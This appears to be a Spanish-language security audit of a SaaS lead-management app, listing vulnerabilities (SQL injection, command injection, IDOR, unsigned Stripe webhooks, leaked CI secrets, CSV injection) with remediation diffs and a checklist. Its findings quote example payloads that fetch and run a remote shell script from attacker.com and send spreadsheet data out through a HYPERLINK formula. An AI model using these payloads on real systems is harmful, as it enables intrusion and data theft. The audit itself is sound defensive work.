La cadena de búsqueda del usuario se interpola directamente en una query SQL raw, sin parametrizar. Un atacante puede exfiltrar la base de datos completa o destruir registros.
Lectura de todos los leads (datos PII), credenciales de admin, exfiltración de secrets de la tabla settings. En PostgreSQL con permisos permisivos: RCE via COPY.
−# VULNERABLE: f-string con input del usuario −query = f"SELECT * FROM leads WHERE name LIKE '%{q}%'" −result = db.execute(query).fetchall() +# CORRECTO: query parametrizada con SQLAlchemy ORM +result = db.execute( + select(Lead).where(Lead.name.ilike(f"%{q}%")) +).scalars().all()
La clave de API de SendGrid está hardcodeada en el código fuente. Cualquier persona con acceso al repositorio (incluso si es privado y un collaborator se va) puede explotarla.
Envío masivo de spam desde el dominio de LeadFlow, quema de reputación del dominio, coste económico en la cuenta SendGrid. Si el repo es público, el secret está expuesto en git history.
−SENDGRID_API_KEY = "SG.xK9Lm2pQ3rT7vW1nZ5yA8dF4gH6jM0b" # TODO: mover a env −client = sendgrid.SendGridAPIClient(api_key=SENDGRID_API_KEY) +import os +SENDGRID_API_KEY = os.environ["SENDGRID_API_KEY"] # Configurar en AWS Secrets Manager +client = sendgrid.SendGridAPIClient(api_key=SENDGRID_API_KEY)
El nombre de fichero enviado por el usuario se pasa directamente a subprocess.run con shell=True. Payload ; curl attacker.com/shell.sh | bash genera RCE inmediato.
Ejecución arbitraria de comandos en el servidor AWS ECS. Exfiltración de credenciales del metadata service (IMDSv1), pivoting a otros servicios AWS de la cuenta.
−filename = request.json.get("filename", "export") −subprocess.run(f"libreoffice --convert-to xlsx {filename}.csv", shell=True) +import re, uuid +# Nunca usar shell=True. Sanitizar nombre y usar lista de argumentos. +safe_name = re.sub(r"[^a-zA-Z0-9_\-]", "_", filename)[:64] or str(uuid.uuid4()) +subprocess.run( + ["libreoffice", "--headless", "--convert-to", "xlsx", f"{safe_name}.csv"], + shell=False, timeout=30 +)
El endpoint GET /leads/{lead_id} no verifica que el lead pertenezca a la organización del usuario autenticado. Solo valida el JWT, no la ownership del recurso.
Cualquier usuario autenticado puede iterar IDs enteros y exfiltrar todos los leads de todos los clientes del SaaS. Violación grave de GDPR y pérdida de confianza.
−# VULNERABLE: solo filtra por lead_id, no por org_id −lead = db.get(Lead, lead_id) −if not lead: raise HTTPException(404) +# CORRECTO: verificar ownership +lead = db.scalar( + select(Lead).where(Lead.id == lead_id, Lead.org_id == current_user.org_id) +) +if not lead: raise HTTPException(404) # mismo error: no revelar existencia
El endpoint POST /webhooks/stripe procesa el payload sin verificar la firma HMAC de Stripe (stripe-signature). Cualquier atacante puede enviar eventos falsos.
Un atacante puede simular eventos invoice.paid para activar cuentas premium sin pagar, o customer.deleted para cancelar suscripciones de competidores.
−@router.post("/webhooks/stripe") −async def stripe_webhook(request: Request): − payload = await request.json() # sin verificar firma − process_stripe_event(payload) +@router.post("/webhooks/stripe") +async def stripe_webhook(request: Request): + payload = await request.body() + sig = request.headers.get("stripe-signature", "") + try: + event = stripe.Webhook.construct_event( + payload, sig, os.environ["STRIPE_WEBHOOK_SECRET"] + ) + except stripe.error.SignatureVerificationError: + raise HTTPException(400, "Invalid signature") + process_stripe_event(event)
El workflow usa run: echo $AWS_SECRET_ACCESS_KEY en un step de debug que nunca se borró. GitHub Actions imprime el valor en logs aunque sea un secret si se hace echo explícito.
Cualquier colaborador con acceso a Actions logs puede ver la clave AWS. Con esa clave, acceso completo a la infraestructura de producción (ECS, RDS, S3).
− - name: Debug credentials # ELIMINAR − run: echo "Key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}" + # Step eliminado. Usar OIDC en lugar de long-lived keys: + - uses: aws-actions/configure-aws-credentials@v4 + with: + role-to-assume: arn:aws:iam::ACCOUNT:role/github-actions-role + aws-region: eu-west-1
Nombres de leads que empiezan por =, +, - o @ se escriben sin prefijo al CSV. Excel/LibreOffice los interpreta como fórmulas y puede ejecutar macros o hacer peticiones HTTP.
Si un agente de ventas abre el CSV exportado, el payload =HYPERLINK("http://attacker.com/?d="&A1) exfiltra datos de la hoja al abrir el fichero.
−writer.writerow([lead.name, lead.email, lead.company]) +def sanitize_csv_cell(val: str) -> str: + """Prefija con ' celdas que Excel trataría como fórmulas.""" + if isinstance(val, str) and val.startswith(("=", "+", "-", "@", "\t", "\r")): + return f"'{val}" + return val + +writer.writerow([sanitize_csv_cell(v) for v in [lead.name, lead.email, lead.company]])
allow_origins=["*"] combinado con allow_credentials=True es rechazado por los navegadores, pero confirmar que no hay una versión más restrictiva en producción (Nginx/CloudFront config). Si allow_origins=["*"] es literal en prod con credenciales, es un High.- 🔴 Revocar clave SendGrid expuesta (VULN-002)
- 🔴 Borrar step de debug en CI/CD (VULN-006)
- 🔴 Rotar credenciales AWS por si acaso
- 🟠 Parametrizar query de búsqueda (VULN-001)
- 🟠 Añadir org_id check a todos los endpoints (VULN-004)
- 🟠 Implementar verificación firma Stripe (VULN-005)
- 🟠 Sanitizar export subprocess (VULN-003)
- 🟡 CSV injection sanitizer (VULN-007)
- 🟡 Migrar a OIDC en GitHub Actions (VULN-006)
- 🟡 Verificar CORS y rate-limit (VERIFY-001/002)
- 🟡 Añadir Bandit + pip-audit al pipeline